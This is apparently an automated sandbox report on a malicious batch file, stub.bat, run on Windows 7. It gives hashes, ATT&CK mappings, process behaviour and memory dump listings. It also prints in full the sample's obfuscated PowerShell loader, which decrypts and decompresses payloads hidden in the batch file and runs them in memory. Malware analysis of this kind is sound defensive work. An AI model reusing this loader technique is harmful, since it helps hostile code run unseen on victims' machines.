a636e320333aa10ae6dfc2a18feedb06ca11fff33fbdcf4c6d535422275c8149

Analysis

max time kernel
119s
max time network
120s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
18-10-2024 17:12

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General

Target

stub.bat
Size

257KB
MD5

192df095e220a68594056863421831b0
SHA1

331e2fa042bdfe106939ef51aed189bcacc56779
SHA256

a636e320333aa10ae6dfc2a18feedb06ca11fff33fbdcf4c6d535422275c8149
SHA512

ef1f5d579324ae2e5629ac22d7c5d15d022c5455e93da8ac727da4d3aae4b9c17e0edcad2e6fe2b63a06f88dffbfd8df27db7fef287f26d41418b452eb221378
SSDEEP

3072:MgIX3vJ9uIgVvEcPPJ2WeutPPYd0V6764o2CHZhPM8Kci/rm:MgYv3gVvvp2mISg78HTMx/rm

Score

7^/10

execution

Malware Config

Signatures

Deletes itself 1 IoCs

Processes:

cmd.exe

pid process

2168 cmd.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

2512 powershell.exe
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

2512 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2512 powershell.exe

pid	process
2168	cmd.exe

pid	process
2512	powershell.exe

pid	process
2512	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2512	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

cmd.exe

description	pid	process	target process
PID 2168 wrote to memory of 2512	2168	cmd.exe	powershell.exe
PID 2168 wrote to memory of 2512	2168	cmd.exe	powershell.exe
PID 2168 wrote to memory of 2512	2168	cmd.exe	powershell.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\stub.bat"
1⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:2168
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('S+hmuoVda8BWME8yLmZZKXTSyvWFoMlikBXuCoYuiPc='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('wtRzFSQM1SqfOLu7Qbnusg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $nxqfn=New-Object System.IO.MemoryStream(,$param_var); $lrckP=New-Object System.IO.MemoryStream; $CanxX=New-Object System.IO.Compression.GZipStream($nxqfn, [IO.Compression.CompressionMode]::Decompress); $CanxX.CopyTo($lrckP); $CanxX.Dispose(); $nxqfn.Dispose(); $lrckP.Dispose(); $lrckP.ToArray();}function execute_function($param_var,$param2_var){ $odOdG=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $rWFbP=$odOdG.EntryPoint; $rWFbP.Invoke($null, $param2_var);}$CphvX = 'C:\Users\Admin\AppData\Local\Temp\stub.bat';$host.UI.RawUI.WindowTitle = $CphvX;$wqkCO=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($CphvX).Split([Environment]::NewLine);foreach ($ePOCw in $wqkCO) { if ($ePOCw.StartsWith(':: ')) { $kiKqU=$ePOCw.Substring(3); break; }}$payloads_var=[string[]]$kiKqU.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2512

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2512-4-0x000007FEF558E000-0x000007FEF558F000-memory.dmp

Filesize
4KB

Download
memory/2512-5-0x000000001B5C0000-0x000000001B8A2000-memory.dmp

Filesize
2.9MB

Download
memory/2512-6-0x0000000002040000-0x0000000002048000-memory.dmp

Filesize
32KB

Download
memory/2512-8-0x000007FEF52D0000-0x000007FEF5C6D000-memory.dmp

Filesize
9.6MB

Download
memory/2512-7-0x000007FEF52D0000-0x000007FEF5C6D000-memory.dmp

Filesize
9.6MB

Download
memory/2512-11-0x000007FEF52D0000-0x000007FEF5C6D000-memory.dmp

Filesize
9.6MB

Download
memory/2512-10-0x000007FEF52D0000-0x000007FEF5C6D000-memory.dmp

Filesize
9.6MB

Download
memory/2512-9-0x0000000002CE4000-0x0000000002CE7000-memory.dmp

Filesize
12KB

Download